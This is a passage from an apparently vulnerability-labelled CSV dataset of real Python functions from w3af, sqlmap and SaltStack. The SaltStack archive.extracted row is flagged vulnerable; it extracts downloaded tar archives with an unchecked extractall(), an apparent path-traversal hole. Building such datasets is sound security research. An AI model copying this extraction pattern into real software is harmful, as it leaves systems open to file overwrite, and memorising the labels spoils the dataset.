            cmd = generate_pip_install_non_git(platform.PIP_CMD, not_git_pkgs)
            msg += '    %s\n' % cmd
        
        if git_pkgs:
            for missing_git_pkg in git_pkgs:
                msg += '    %s\n' % generate_pip_install_git(platform.PIP_CMD,
                                                             missing_git_pkg)
        
        print(msg)
    
    msg = 'A script with these commands has been created for you at %s'
    print(msg % script_path)
    
    enable_warnings()
    platform.after_hook()
    
    if exit_on_failure:
        sys.exit(1)
    else:
        return True",,andresriancho/w3af,a53d59b73c493013a90fccf468cf443e47f869d0,"def dependency_check(dependency_set=CORE, exit_on_failure=True):
    """"""
    This function verifies that the dependencies that are needed by the
    framework core are met.
    
    :return: True if the process should exit
    """"""
    verify_python_version()
    
    disable_warnings()

    platform = get_current_platform()

    #
    #    Check for missing python modules
    #
    failed_deps = []
    pip_distributions = pip.get_installed_distributions()
    
    for w3af_req in platform.PIP_PACKAGES[dependency_set]:
        for dist in pip_distributions:
            if w3af_req.package_name.lower() == dist.project_name.lower():

                w3af_req_version = str(Version(w3af_req.package_version))
                dist_version = str(dist.version)

                if w3af_req_version == dist_version:
                    # It's installed and the version matches!
                    break
        else:
            failed_deps.append(w3af_req)

    #
    #    Check for missing operating system packages
    #
    missing_os_packages = []
    for os_package in platform.SYSTEM_PACKAGES[dependency_set]:
        if not platform.os_package_is_installed(os_package):
            missing_os_packages.append(os_package)
    
    os_packages = list(set(missing_os_packages))

    # All installed?
    if not failed_deps and not os_packages:
        # False means: do not exit()
        enable_warnings()
        return False

    generate_requirements_txt(failed_deps)
    script_path = generate_helper_script(platform.PKG_MANAGER_CMD, os_packages,
                                         platform.PIP_CMD, failed_deps)

    #
    #    Report the missing system packages
    #
    msg = ('w3af\'s requirements are not met, one or more third-party'
           ' libraries need to be installed.\n\n')
          
    if os_packages:
        missing_pkgs = ' '.join(os_packages)
        
        msg += ('On %s systems please install the following operating'
                ' system packages before running the pip installer:\n'
                '    %s %s\n')
        print(msg % (platform.SYSTEM_NAME, platform.PKG_MANAGER_CMD,
                     missing_pkgs))
        
    #
    #    Report all missing python modules
    #    
    if failed_deps:
        # pylint: disable=E1101
        msg = ('Your python installation needs the following modules'
               ' to run w3af:\n')
        msg += '    ' + ' '.join([fdep.module_name for fdep in failed_deps])
        print(msg)
        print('\n')
        # pylint: enable=E1101
        
        #
        #    Report missing pip packages
        #
        not_git_pkgs = [fdep for fdep in failed_deps if not fdep.is_git]
        git_pkgs = [fdep.git_src for fdep in failed_deps if fdep.is_git]
        
        msg = ('After installing any missing operating system packages, use'
               ' pip to install the remaining modules:\n')
        
        if not_git_pkgs:
            cmd = generate_pip_install_non_git(platform.PIP_CMD, not_git_pkgs)
            msg += '    %s\n' % cmd
        
        if git_pkgs:
            for missing_git_pkg in git_pkgs:
                msg += '    %s\n' % generate_pip_install_git(platform.PIP_CMD,
                                                             missing_git_pkg)
        
        print(msg)
    
    msg = 'A script with these commands has been created for you at %s'
    print(msg % script_path)
    
    enable_warnings()
    platform.after_hook()
    
    if exit_on_failure:
        sys.exit(1)
    else:
        return True"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/compat.py,0,"def choose_boundary():
    return uuid.uuid4().hex",,sqlmapproject/sqlmap,09be7cb361a09a823c16330a19c76e4ea0bc03bd,"def choose_boundary():
    return uuid.uuid4().hex"
,UNKNOWN,UNKNOWN,salt/states/archive.py,1,"def extracted(name,
              source,
              source_hash=None,
              source_hash_name=None,
              source_hash_update=False,
              skip_verify=False,
              password=None,
              options=None,
              list_options=None,
              force=False,
              user=None,
              group=None,
              if_missing=None,
              keep=False,
              trim_output=False,
              use_cmd_unzip=None,
              extract_perms=True,
              enforce_toplevel=True,
              enforce_ownership_on=None,
              archive_format=None,
              **kwargs):
    '''
    .. versionadded:: 2014.1.0
    .. versionchanged:: 2016.11.0
        This state has been rewritten. Some arguments are new to this release
        and will not be available in the 2016.3 release cycle (and earlier).
        Additionally, the **ZIP Archive Handling** section below applies
        specifically to the 2016.11.0 release (and newer).

    Ensure that an archive is extracted to a specific directory.

    .. important::
        **ZIP Archive Handling**

        Salt has two different functions for extracting ZIP archives:

        1. :py:func:`archive.unzip <salt.modules.archive.unzip>`, which uses
           Python's zipfile_ module to extract ZIP files.
        2. :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>`, which
           uses the ``unzip`` CLI command to extract ZIP files.

        Salt will prefer the use of :py:func:`archive.cmd_unzip
        <salt.modules.archive.cmd_unzip>` when CLI options are specified (via
        the ``options`` argument), and will otherwise prefer the
        :py:func:`archive.unzip <salt.modules.archive.unzip>` function. Use
        of :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>` can be
        forced however by setting the ``use_cmd_unzip`` argument to ``True``.
        By contrast, setting this argument to ``False`` will force usage of
        :py:func:`archive.unzip <salt.modules.archive.unzip>`. For example:

        .. code-block:: yaml

            /var/www:
              archive.extracted:
                - source: salt://foo/bar/myapp.zip
                - use_cmd_unzip: True

        When ``use_cmd_unzip`` is omitted, Salt will choose which extraction
        function to use based on the source archive and the arguments passed to
        the state. When in doubt, simply do not set this argument; it is
        provided as a means of overriding the logic Salt uses to decide which
        function to use.

        There are differences in the features available in both extraction
        functions. These are detailed below.

        - *Command-line options* (only supported by :py:func:`archive.cmd_unzip
          <salt.modules.archive.cmd_unzip>`) - When the ``options`` argument is
          used, :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>`
          is the only function that can be used to extract the archive.
          Therefore, if ``use_cmd_unzip`` is specified and set to ``False``,
          and ``options`` is also set, the state will not proceed.

        - *Password-protected ZIP Archives* (only supported by
          :py:func:`archive.unzip <salt.modules.archive.unzip>`) -
          :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>` is not
          be permitted to extract password-protected ZIP archives, as
          attempting to do so will cause the unzip command to block on user
          input. The :py:func:`archive.is_encrypted
          <salt.modules.archive.unzip>` function will be used to determine if
          the archive is password-protected. If it is, then the ``password``
          argument will be required for the state to proceed. If
          ``use_cmd_unzip`` is specified and set to ``True``, then the state
          will not proceed.

        - *Permissions* - Due to an `upstream bug in Python`_, permissions are
          not preserved when the zipfile_ module is used to extract an archive.
          As of the 2016.11.0 release, :py:func:`archive.unzip
          <salt.modules.archive.unzip>` (as well as this state) has an
          ``extract_perms`` argument which, when set to ``True`` (the default),
          will attempt to match the permissions of the extracted
          files/directories to those defined within the archive. To disable
          this functionality and have the state not attempt to preserve the
          permissions from the ZIP archive, set ``extract_perms`` to ``False``:

          .. code-block:: yaml

              /var/www:
                archive.extracted:
                  - source: salt://foo/bar/myapp.zip
                  - extract_perms: False

    .. _`upstream bug in Python`: https://bugs.python.org/issue15795

    name
        Directory into which the archive should be extracted

    source
        Archive to be extracted

        .. note::
            This argument uses the same syntax as its counterpart in the
            :py:func:`file.managed <salt.states.file.managed>` state.

    source_hash
        Hash of source file, or file with list of hash-to-file mappings

        .. note::
            This argument uses the same syntax as its counterpart in the
            :py:func:`file.managed <salt.states.file.managed>` state.

        .. versionchanged:: 2016.11.0
            If this argument specifies the hash itself, instead of a URI to a
            file containing hashes, the hash type can now be omitted and Salt
            will determine the hash type based on the length of the hash. For
            example, both of the below states are now valid, while before only
            the second one would be:

        .. code-block:: yaml

            foo_app:
              archive.extracted:
                - name: /var/www
                - source: https://mydomain.tld/foo.tar.gz
                - source_hash: 3360db35e682f1c5f9c58aa307de16d41361618c

            bar_app:
              archive.extracted:
                - name: /var/www
                - source: https://mydomain.tld/bar.tar.gz
                - source_hash: sha1=5edb7d584b82ddcbf76e311601f5d4442974aaa5

    source_hash_name
        When ``source_hash`` refers to a hash file, Salt will try to find the
        correct hash by matching the filename part of the ``source`` URI. When
        managing a file with a ``source`` of ``salt://files/foo.tar.gz``, then
        the following line in a hash file would match:

        .. code-block:: text

            acbd18db4cc2f85cedef654fccc4a4d8    foo.tar.gz

        This line would also match:

        .. code-block:: text

            acbd18db4cc2f85cedef654fccc4a4d8    ./dir1/foo.tar.gz

        However, sometimes a hash file will include multiple similar paths:

        .. code-block:: text

            37b51d194a7513e45b56f6524f2d51f2    ./dir1/foo.txt
            acbd18db4cc2f85cedef654fccc4a4d8    ./dir2/foo.txt
            73feffa4b7f6bb68e44cf984c85f6e88    ./dir3/foo.txt

        In cases like this, Salt may match the incorrect hash. This argument
        can be used to tell Salt which filename to match, to ensure that the
        correct hash is identified. For example:

        .. code-block:: yaml

            /var/www:
              archive.extracted:
                - source: https://mydomain.tld/dir2/foo.tar.gz
                - source_hash: https://mydomain.tld/hashes
                - source_hash_name: ./dir2/foo.tar.gz

        .. note::
            This argument must contain the full filename entry from the
            checksum file, as this argument is meant to disambiguate matches
            for multiple files that have the same basename. So, in the
            example above, simply using ``foo.txt`` would not match.

        .. versionadded:: 2016.11.0

    source_hash_update
        Set this to ``True`` if archive should be extracted if source_hash has
        changed. This would extract regardless of the ``if_missing`` parameter.

        .. versionadded:: 2016.3.0

    skip_verify : False
        If ``True``, hash verification of remote file sources (``http://``,
        ``https://``, ``ftp://``) will be skipped, and the ``source_hash``
        argument will be ignored.

        .. versionadded:: 2016.3.4

    password
        **For ZIP archives only.** Password used for extraction.

        .. versionadded:: 2016.3.0

    options
        **For tar and zip archives only.**  This option can be used to specify
        a string of additional arguments to pass to the tar/zip command.

        If this argument is not used, then the minion will attempt to use
        Python's native tarfile_/zipfile_ support to extract it. For zip
        archives, this argument is mostly used to overwrite exsiting files with
        ``o``.

        Using this argument means that the ``tar`` or ``unzip`` command will be
        used, which is less platform-independent, so keep this in mind when
        using this option; the CLI options must be valid options for the
        ``tar``/``unzip`` implementation on the minion's OS.

        .. versionadded:: 2016.11.0
            The ``tar_options`` and ``zip_options`` parameters have been
            deprecated in favor of a single argument name.
        .. versionchanged:: 2015.8.11,2016.3.2
            XZ-compressed tar archives no longer require ``J`` to manually be
            set in the ``options``, they are now detected automatically and
            decompressed using xz-utils_ and extracted using ``tar xvf``. This
            is a more platform-independent solution, as not all tar
            implementations support the ``J`` argument for extracting archives.

        .. note::
            For tar archives, main operators like ``-x``, ``--extract``,
            ``--get``, ``-c`` and ``-f``/``--file`` should *not* be used here.

    tar_options
        .. deprecated:: 2016.11.0
            Use ``options`` instead.

    zip_options
        .. versionadded:: 2016.3.1
        .. deprecated:: 2016.11.0
            Use ``options`` instead.

    list_options
        **For tar archives only.** This state uses :py:func:`archive.list
        <salt.modules.archive.list_>` to discover the contents of the source
        archive so that it knows which file paths should exist on the minion if
        the archive has already been extracted. For the vast majority of tar
        archives, :py:func:`archive.list <salt.modules.archive.list_>` ""just
        works"". Archives compressed using gzip, bzip2, and xz/lzma (with the
        help of xz-utils_) are supported automatically. However, for archives
        compressed using other compression types, CLI options must be passed to
        :py:func:`archive.list <salt.modules.archive.list_>`.

        This argument will be passed through to :py:func:`archive.list
        <salt.modules.archive.list_>` as its ``options`` argument, to allow it
        to successfully list the archive's contents. For the vast majority of
        archives, this argument should not need to be used, it should only be
        needed in cases where the state fails with an error stating that the
        archive's contents could not be listed.

        .. versionadded:: 2016.11.0

    force : False
        If a path that should be occupied by a file in the extracted result is
        instead a directory (or vice-versa), the state will fail. Set this
        argument to ``True`` to force these paths to be removed in order to
        allow the archive to be extracted.

        .. warning::
            Use this option *very* carefully.

        .. versionadded:: 2016.11.0

    user
        The user to own each extracted file. Not available on Windows.

        .. versionadded:: 2015.8.0
        .. versionchanged:: 2016.3.0
            When used in combination with ``if_missing``, ownership will only
            be enforced if ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership will be enforced only on the file/directory paths found
            by running :py:func:`archive.list <salt.modules.archive.list_>` on
            the source archive. An alternative root directory on which to
            enforce ownership can be specified using the
            ``enforce_ownership_on`` argument.

    group
        The group to own each extracted file. Not available on Windows.

        .. versionadded:: 2015.8.0
        .. versionchanged:: 2016.3.0
            When used in combination with ``if_missing``, ownership will only
            be enforced if ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership will be enforced only on the file/directory paths found
            by running :py:func:`archive.list <salt.modules.archive.list_>` on
            the source archive. An alternative root directory on which to
            enforce ownership can be specified using the
            ``enforce_ownership_on`` argument.

    if_missing
        If specified, this path will be checked, and if it exists then the
        archive will not be extracted. This path can be either a directory or a
        file, so this option can also be used to check for a semaphore file and
        conditionally skip extraction.

        .. versionchanged:: 2016.3.0
            When used in combination with either ``user`` or ``group``,
            ownership will only be enforced when ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership enforcement is no longer tied to this argument, it is
            simply checked for existence and extraction will be skipped if
            if is present.

    keep : False
        For ``source`` archives not local to the minion (i.e. from the Salt
        fileserver or a remote source such as ``http(s)`` or ``ftp``), Salt
        will need to download the archive to the minion cache before they can
        be extracted. After extraction, these source archives will be removed
        unless this argument is set to ``True``.

    trim_output : False
        Useful for archives with many files in them. This can either be set to
        ``True`` (in which case only the first 100 files extracted will be
        in the state results), or it can be set to an integer for more exact
        control over the max number of files to include in the state results.

        .. versionadded:: 2016.3.0

    use_cmd_unzip : False
        Set to ``True`` for zip files to force usage of the
        :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>` function
        to extract.

        .. versionadded:: 2016.11.0

    extract_perms : True
        **For ZIP archives only.** When using :py:func:`archive.unzip
        <salt.modules.archive.unzip>` to extract ZIP archives, Salt works
        around an `upstream bug in Python`_ to set the permissions on extracted
        files/directories to match those encoded into the ZIP archive. Set this
        argument to ``False`` to skip this workaround.

        .. versionadded:: 2016.11.0

    enforce_toplevel : True
        This option will enforce a single directory at the top level of the
        source archive, to prevent extracting a 'tar-bomb'. Set this argument
        to ``False`` to allow archives with files (or multiple directories) at
        the top level to be extracted.

        .. versionadded:: 2016.11.0

    enforce_ownership_on
        When ``user`` or ``group`` is specified, Salt will default to enforcing
        permissions on the file/directory paths detected by running
        :py:func:`archive.list <salt.modules.archive.list_>` on the source
        archive. Use this argument to specify an alternate directory on which
        ownership should be enforced.

        .. note::
            This path must be within the path specified by the ``name``
            argument.

        .. versionadded:: 2016.11.0

    archive_format
        One of ``tar``, ``zip``, or ``rar``.

        .. versionchanged:: 2016.11.0
            If omitted, the archive format will be guessed based on the value
            of the ``source`` argument.

    .. _tarfile: https://docs.python.org/2/library/tarfile.html
    .. _zipfile: https://docs.python.org/2/library/zipfile.html
    .. _xz-utils: http://tukaani.org/xz/

    **Examples**

    1. tar with lmza (i.e. xz) compression:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6

    2. tar archive with flag for verbose output, and enforcement of user/group
       ownership:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.gz
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
               - tar_options: v
               - user: foo
               - group: foo

    3. tar archive, with ``source_hash_update`` set to ``True`` to prevent
       state from attempting extraction unless the ``source_hash`` differs
       from the previous time the archive was extracted:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
               - source_hash_update: True
    '''
    ret = {'name': name, 'result': False, 'changes': {}, 'comment': ''}

    # Remove pub kwargs as they're irrelevant here.
    kwargs = salt.utils.clean_kwargs(**kwargs)

    if not _path_is_abs(name):
        ret['comment'] = '{0} is not an absolute path'.format(name)
        return ret
    else:
        if name is None:
            # Only way this happens is if some doofus specifies ""- name: None""
            # in their SLS file. Prevent tracebacks by failing gracefully.
            ret['comment'] = 'None is not a valid directory path'
            return ret
        # os.path.isfile() returns False when there is a trailing slash, hence
        # our need for first stripping the slash and then adding it back later.
        # Otherwise, we can't properly check if the extraction location both a)
        # exists and b) is a file.
        #
        # >>> os.path.isfile('/tmp/foo.txt')
        # True
        # >>> os.path.isfile('/tmp/foo.txt/')
        # False
        name = name.rstrip('/')
        if os.path.isfile(name):
            ret['comment'] = '{0} exists and is not a directory'.format(name)
            return ret
        # Add back the slash so that file.makedirs properly creates the
        # destdir if it needs to be created. file.makedirs expects a trailing
        # slash in the directory path.
        name += '/'
    if not _path_is_abs(if_missing):
        ret['comment'] = 'Value for \'if_missing\' is not an absolute path'
        return ret
    if not _path_is_abs(enforce_ownership_on):
        ret['comment'] = ('Value for \'enforce_ownership_on\' is not an '
                          'absolute path')
        return ret
    else:
        if enforce_ownership_on is not None:
            try:
                not_rel = os.path.relpath(enforce_ownership_on,
                                          name).startswith('..' + os.sep)
            except Exception:
                # A ValueError is raised on Windows when the paths passed to
                # os.path.relpath are not on the same drive letter. Using a
                # generic Exception here to keep other possible exception types
                # from making this state blow up with a traceback.
                not_rel = True
            if not_rel:
                ret['comment'] = (
                    'Value for \'enforce_ownership_on\' must be within {0}'
                    .format(name)
                )
                return ret

    if user or group:
        if salt.utils.is_windows():
            ret['comment'] = \
                'User/group ownership cannot be enforced on Windows minions'
            return ret

        if user:
            uid = __salt__['file.user_to_uid'](user)
            if not uid:
                ret['comment'] = 'User {0} does not exist'.format(user)
                return ret
        else:
            uid = -1

        if group:
            gid = __salt__['file.group_to_gid'](group)
            if not gid:
                ret['comment'] = 'Group {0} does not exist'.format(group)
                return ret
        else:
            gid = -1
    else:
        # We should never hit the ownership enforcement code unless user or
        # group was specified, but just in case, set uid/gid to -1 to make the
        # os.chown() a no-op and avoid a NameError.
        uid = gid = -1

    if source_hash_update and not source_hash:
        ret.setdefault('warnings', []).append(
            'The \'source_hash_update\' argument is ignored when '
            '\'source_hash\' is not also specified.'
        )

    try:
        source_match = __salt__['file.source_list'](source,
                                                    source_hash,
                                                    __env__)[0]
    except CommandExecutionError as exc:
        ret['result'] = False
        ret['comment'] = exc.strerror
        return ret

    urlparsed_source = _urlparse(source_match)
    source_hash_basename = urlparsed_source.path or urlparsed_source.netloc

    valid_archive_formats = ('tar', 'rar', 'zip')
    if not archive_format:
        archive_format = salt.utils.files.guess_archive_type(source_hash_basename)
        if archive_format is None:
            ret['comment'] = (
                'Could not guess archive_format from the value of the '
                '\'source\' argument. Please set this archive_format to one '
                'of the following: {0}'.format(', '.join(valid_archive_formats))
            )
            return ret
    try:
        archive_format = archive_format.lower()
    except AttributeError:
        pass
    if archive_format not in valid_archive_formats:
        ret['comment'] = (
            'Invalid archive_format \'{0}\'. Either set it to a supported '
            'value ({1}) or remove this argument and the archive format will '
            'be guesseed based on file extension.'.format(
                archive_format,
                ', '.join(valid_archive_formats),
            )
        )
        return ret

    tar_options = kwargs.pop('tar_options', None)
    zip_options = kwargs.pop('zip_options', None)
    if tar_options:
        msg = ('The \'tar_options\' argument has been deprecated, please use '
               '\'options\' instead.')
        salt.utils.warn_until('Oxygen', msg)
        ret.setdefault('warnings', []).append(msg)
        options = tar_options
    elif zip_options:
        msg = ('The \'zip_options\' argument has been deprecated, please use '
               '\'options\' instead.')
        salt.utils.warn_until('Oxygen', msg)
        ret.setdefault('warnings', []).append(msg)
        options = zip_options

    if archive_format == 'zip':
        if options:
            if use_cmd_unzip is None:
                log.info(
                    'Presence of CLI options in archive.extracted state for '
                    '\'%s\' implies that use_cmd_unzip is set to True.', name
                )
                use_cmd_unzip = True
            elif not use_cmd_unzip:
                # use_cmd_unzip explicitly disabled
                ret['comment'] = (
                    '\'use_cmd_unzip\' cannot be set to False if CLI options '
                    'are being specified (via the \'options\' argument). '
                    'Either remove \'use_cmd_unzip\', or set it to True.'
                )
                return ret
        if password:
            if use_cmd_unzip is None:
                log.info(
                    'Presence of a password in archive.extracted state for '
                    '\'%s\' implies that use_cmd_unzip is set to False.', name
                )
                use_cmd_unzip = False
            elif use_cmd_unzip:
                ret.setdefault('warnings', []).append(
                    'Using a password in combination with setting '
                    '\'use_cmd_unzip\' to True is considered insecure. It is '
                    'recommended to remove the \'use_cmd_unzip\' argument (or '
                    'set it to False) and allow Salt to extract the archive '
                    'using Python\'s built-in ZIP file support.'
                )
    else:
        if password:
            ret['comment'] = \
                'The \'password\' argument is only supported for zip archives'
            return ret

    supports_options = ('tar', 'zip')
    if options and archive_format not in supports_options:
        ret['comment'] = (
            'The \'options\' argument is only compatible with the following '
            'archive formats: {0}'.format(', '.join(supports_options))
        )
        return ret

    if trim_output and not isinstance(trim_output, (bool, six.integer_types)):
        try:
            # Try to handle cases where trim_output was passed as a
            # string-ified integer.
            trim_output = int(trim_output)
        except TypeError:
            ret['comment'] = (
                'Invalid value for trim_output, must be True/False or an '
                'integer'
            )
            return ret

    cached_source = os.path.join(
        __opts__['cachedir'],
        'files',
        __env__,
        re.sub(r'[:/\\]', '_', source_hash_basename),
    )

    if os.path.isdir(cached_source):
        # Prevent a traceback from attempting to read from a directory path
        salt.utils.rm_rf(cached_source)

    if source_hash:
        try:
            source_sum = __salt__['file.get_source_sum']('',
                                                         source,
                                                         source_hash,
                                                         source_hash_name,
                                                         __env__)
        except CommandExecutionError as exc:
            ret['comment'] = exc.strerror
            return ret

        if source_hash_update:
            if _compare_checksum(cached_source, source_sum):
                ret['result'] = True
                ret['comment'] = \
                    'Hash {0} has not changed'.format(source_sum['hsum'])
                return ret
    else:
        source_sum = {}

    if not os.path.isfile(cached_source):
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would be downloaded to cache'.format(source_match)
            return ret

        log.debug('%s is not in cache, downloading it', source_match)

        file_result = __salt__['state.single']('file.managed',
                                               cached_source,
                                               source=source_match,
                                               source_hash=source_hash,
                                               source_hash_name=source_hash_name,
                                               makedirs=True,
                                               skip_verify=skip_verify,
                                               saltenv=__env__)
        log.debug('file.managed: {0}'.format(file_result))

        # Get actual state result. The state.single return is a single-element
        # dictionary with the state's unique ID at the top level, and its value
        # being the state's return dictionary. next(iter(dict_name)) will give
        # us the value of the first key, so
        # file_result[next(iter(file_result))] will give us the results of the
        # state.single we just ran.
        try:
            file_result = file_result[next(iter(file_result))]
        except AttributeError:
            pass

        try:
            if not file_result['result']:
                log.debug('failed to download {0}'.format(source_match))
                return file_result
        except TypeError:
            if not file_result:
                log.debug('failed to download {0}'.format(source_match))
                return file_result
    else:
        log.debug('Archive %s is already in cache', source_match)

    if source_hash:
        _update_checksum(cached_source, source_sum)

    if archive_format == 'zip' and not password:
        log.debug('Checking %s to see if it is password-protected',
                  source_match)
        # Either use_cmd_unzip was explicitly set to True, or was
        # implicitly enabled by setting the ""options"" argument.
        try:
            encrypted_zip = __salt__['archive.is_encrypted'](
                cached_source,
                clean=False,
                saltenv=__env__)
        except CommandExecutionError:
            # This would happen if archive_format=zip and the source archive is
            # not actually a zip file.
            pass
        else:
            if encrypted_zip:
                ret['comment'] = (
                    'Archive {0} is password-protected, but no password was '
                    'specified. Please set the \'password\' argument.'.format(
                        source_match
                    )
                )
                return ret

    try:
        contents = __salt__['archive.list'](cached_source,
                                            archive_format=archive_format,
                                            options=list_options,
                                            clean=False,
                                            verbose=True)
    except CommandExecutionError as exc:
        contents = None
        errors = []
        if not if_missing:
            errors.append('\'if_missing\' must be set')
        if not enforce_ownership_on and (user or group):
            errors.append(
                'Ownership cannot be managed without setting '
                '\'enforce_ownership_on\'.'
            )
        msg = exc.strerror
        if errors:
            msg += '\n\n'
            if archive_format == 'tar':
                msg += (
                    'If the source archive is a tar archive compressed using '
                    'a compression type not natively supported by the tar '
                    'command, then setting the \'list_options\' argument may '
                    'allow the contents to be listed. Otherwise, if Salt is '
                    'unable to determine the files/directories in the '
                    'archive, the following workaround(s) would need to be '
                    'used for this state to proceed'
                )
            else:
                msg += (
                    'The following workarounds must be used for this state to '
                    'proceed'
                )
            msg += (
                ' (assuming the source file is a valid {0} archive):\n'
                .format(archive_format)
            )

            for error in errors:
                msg += '\n- {0}'.format(error)
        ret['comment'] = msg
        return ret

    if enforce_toplevel and contents is not None \
            and (len(contents['top_level_dirs']) > 1
                 or len(contents['top_level_files']) > 0):
        ret['comment'] = ('Archive does not have a single top-level directory. '
                          'To allow this archive to be extracted, set '
                          '\'enforce_toplevel\' to False. To avoid a '
                          '\'{0}-bomb\' it may also be advisable to set a '
                          'top-level directory by adding it to the \'name\' '
                          'value (for example, setting \'name\' to {1} '
                          'instead of {2}).'.format(
                              archive_format,
                              os.path.join(name, 'some_dir'),
                              name,
                          ))
        return ret

    # Check to see if we need to extract the archive. Using os.stat() in a
    # try/except is considerably faster than using os.path.exists(), and we
    # already need to catch an OSError to cover edge cases where the minion is
    # running as a non-privileged user and is trying to check for the existence
    # of a path to which it does not have permission.
    extraction_needed = False
    try:
        if_missing_path_exists = os.path.exists(if_missing)
    except TypeError:
        if_missing_path_exists = False

    if not if_missing_path_exists:
        if contents is None:
            try:
                os.stat(if_missing)
                extraction_needed = False
            except OSError as exc:
                if exc.errno == errno.ENOENT:
                    extraction_needed = True
                else:
                    ret['comment'] = (
                        'Failed to check for existence of if_missing path '
                        '({0}): {1}'.format(if_missing, exc.__str__())
                    )
                    return ret
        else:
            incorrect_type = []
            extraction_needed = False
            for path_list, func in ((contents['dirs'], stat.S_ISDIR),
                                    (contents['files'], stat.S_ISREG)):
                for path in path_list:
                    full_path = os.path.join(name, path)
                    try:
                        path_mode = os.stat(full_path).st_mode
                        if not func(path_mode):
                            incorrect_type.append(path)
                    except OSError as exc:
                        if exc.errno == errno.ENOENT:
                            extraction_needed = True
                        else:
                            ret['comment'] = exc.__str__()
                            return ret

            if incorrect_type:
                if not force:
                    msg = (
                        'The below paths (relative to {0}) exist, but are the '
                        'incorrect type (i.e. file instead of directory or '
                        'vice-versa). To proceed with extraction, set '
                        '\'force\' to True.\n'.format(name)
                    )
                    for path in incorrect_type:
                        msg += '\n- {0}'.format(path)
                    ret['comment'] = msg
                else:
                    errors = []
                    for path in incorrect_type:
                        full_path = os.path.join(name, path)
                        try:
                            salt.utils.rm_rf(full_path)
                            ret['changes'].setdefault(
                                'removed', []).append(full_path)
                        except OSError as exc:
                            if exc.errno != errno.ENOENT:
                                errors.append(exc.__str__())
                    if errors:
                        msg = (
                            'One or more paths existed by were the incorrect '
                            'type (i.e. file instead of directory or '
                            'vice-versa), but could not be removed. The '
                            'following errors were observed:\n'
                        )
                        for error in errors:
                            msg += '\n- {0}'.format(error)
                        ret['comment'] = msg
                        return ret

    created_destdir = False

    if extraction_needed:
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would be extracted to {1}'.format(
                    source_match,
                    name
                )
            return ret

        if not os.path.isdir(name):
            __salt__['file.makedirs'](name, user=user)
            created_destdir = True

        log.debug('Extracting {0} to {1}'.format(cached_source, name))
        try:
            if archive_format == 'zip':
                if use_cmd_unzip:
                    files = __salt__['archive.cmd_unzip'](cached_source,
                                                          name,
                                                          options=options,
                                                          trim_output=trim_output,
                                                          password=password,
                                                          **kwargs)
                else:
                    files = __salt__['archive.unzip'](cached_source,
                                                      name,
                                                      options=options,
                                                      trim_output=trim_output,
                                                      password=password,
                                                      **kwargs)
            elif archive_format == 'rar':
                files = __salt__['archive.unrar'](cached_source,
                                                  name,
                                                  trim_output=trim_output,
                                                  **kwargs)
            else:
                if options is None:
                    try:
                        with closing(tarfile.open(cached_source, 'r')) as tar:
                            tar.extractall(name)
                            files = tar.getnames()
                    except tarfile.ReadError:
                        if salt.utils.which('xz'):
                            if __salt__['cmd.retcode'](
                                    ['xz', '-l', cached_source],
                                    python_shell=False,
                                    ignore_retcode=True) == 0:
                                # XZ-compressed data
                                log.debug(
                                    'Tar file is XZ-compressed, attempting '
                                    'decompression and extraction using xz-utils '
                                    'and the tar command'
                                )
                                # Must use python_shell=True here because not
                                # all tar implementations support the -J flag
                                # for decompressing XZ-compressed data. We need
                                # to dump the decompressed data to stdout and
                                # pipe it to tar for extraction.
                                cmd = 'xz --decompress --stdout {0} | tar xvf -'
                                results = __salt__['cmd.run_all'](
                                    cmd.format(_cmd_quote(cached_source)),
                                    cwd=name,
                                    python_shell=True)
                                if results['retcode'] != 0:
                                    if created_destdir:
                                        _cleanup_destdir(name)
                                    ret['result'] = False
                                    ret['changes'] = results
                                    return ret
                                if _is_bsdtar():
                                    files = results['stderr']
                                else:
                                    files = results['stdout']
                            else:
                                # Failed to open tar archive and it is not
                                # XZ-compressed, gracefully fail the state
                                if created_destdir:
                                    _cleanup_destdir(name)
                                ret['result'] = False
                                ret['comment'] = (
                                    'Failed to read from tar archive using '
                                    'Python\'s native tar file support. If '
                                    'archive is compressed using something '
                                    'other than gzip or bzip2, the '
                                    '\'options\' argument may be required to '
                                    'pass the correct options to the tar '
                                    'command in order to extract the archive.'
                                )
                                return ret
                        else:
                            if created_destdir:
                                _cleanup_destdir(name)
                            ret['result'] = False
                            ret['comment'] = (
                                'Failed to read from tar archive. If it is '
                                'XZ-compressed, install xz-utils to attempt '
                                'extraction.'
                            )
                            return ret
                else:
                    try:
                        tar_opts = shlex.split(options)
                    except AttributeError:
                        tar_opts = shlex.split(str(options))

                    tar_cmd = ['tar']
                    tar_shortopts = 'x'
                    tar_longopts = []

                    for position, opt in enumerate(tar_opts):
                        if opt.startswith('-'):
                            tar_longopts.append(opt)
                        else:
                            if position > 0:
                                tar_longopts.append(opt)
                            else:
                                append_opt = opt
                                append_opt = append_opt.replace('x', '')
                                append_opt = append_opt.replace('f', '')
                                tar_shortopts = tar_shortopts + append_opt

                    if __grains__['os'].lower() == 'openbsd':
                        tar_shortopts = '-' + tar_shortopts

                    tar_cmd.append(tar_shortopts)
                    tar_cmd.extend(tar_longopts)
                    tar_cmd.extend(['-f', cached_source])

                    results = __salt__['cmd.run_all'](tar_cmd,
